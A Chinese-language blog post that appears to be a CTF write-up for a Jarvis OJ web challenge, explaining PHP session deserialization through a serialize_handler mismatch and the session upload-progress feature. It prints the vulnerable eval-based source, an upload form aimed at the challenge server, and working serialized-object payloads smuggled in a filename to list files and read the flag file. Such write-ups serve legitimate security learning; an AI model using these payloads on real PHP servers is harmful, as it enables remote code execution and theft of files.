Hu3sky's blog

ctf一道题目。php反序列化学习

Word count: 990 / Reading time: 4 min
2018/05/09 Share

[*]题目链接 http://web.jarvisoj.com:32784/

0x00 学习链接

这道题目实在是没见过。。一道反序列化的题目,但是没有可以让我们控制的点。于是学习了一波

0x01 解析分析

题目源码是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

可以看到ini_set('session.serialize_handler', 'php');

session.serialize_handler函数是用来设置session序列化引擎的。这里是将session序列化引擎设置为php解析
session序列化引擎有三种解析方式:

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
    题目的关键点就在这里,如果PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化可以在phpinfo里看到,xx服务器默认的解析方式是php_ serialize。而题目中将解析方式设置成了php。这就造成了seesion的反序列化问题。即先以php_serialize存入,再以php的序列化方式读取。

php引擎的解析方式是以 | 分割键名和键值。比如name|s:6:"hu3sky";php_serialize引擎的解析出来的是a:1:{s:4:"name";s:6:"hu3sky";} 这里只要是php_serialize解析都会有a:1这时我们就可以按照这个特性来构造执行对象的命令。
例如
通过php_serialize构造的:

a:1:{s:6:"hu3sky";s:20:"|O:8:"stdClass":0:{}";}

以php的方式解析会变为:

array(1) { ["a:1:{s:6:"hu3sky";s:20:""]=> object(stdClass)#1 (0) { }}

成功执行了变量。
但是此题没有可控的变量,所以根据大佬们的方法。如下

0x02 解题方法

可以看到phpinfo页面xsession.upload_progress.enabled为On而当这个选项被打开时,php会自动记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION

中添加一组数据。所以可以通过Session Upload Progress来设置session

x,
这里 通过构造一个表单来解题,先在本地构造好表单,表单这里有个链接https://bugs.php.net/bug.php?id=71101

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

接下来。构造好payload。

1
2
3
4
5
6
7
8
9
10
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz = 'payload';
}
$obj = new OowoO;
echo serialize($obj);
?>

  • payload1:将payload替换为print_r(scandir(dirname(FILE)));,得到序列化结果(获取目标目录下的内容):
    O:5:"OowoO":1:{s:4:"mdzz";s:35:"print_r(scandir(dirname(__FILE__)))";};
    防止转义在引号前加上\。利用前面的html页面随便上传一个东西,抓包,把filename改为如下:
    |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
    注意前面的|不要忘了,php解析是把|后面的当成键值。
    x。可以看到当前目录下的文件。有一个Here_1s_7he_fl4g_buT_You_Cannot_see.php。很明显flag就在这个php里。所以我们要打开他。但是要知道文件路径。这个通过phpinfo查看
    x。当前目录为/opt/lampp/htdocs
  • payload2:所以构造payload2,替换payload为print_r(file_get_contents(“/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php”));
    加上\为
    |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
    get flag。
CATALOG
  1. 1. 0x00 学习链接
  2. 2. 0x01 解析分析
  3. 3. 0x02 解题方法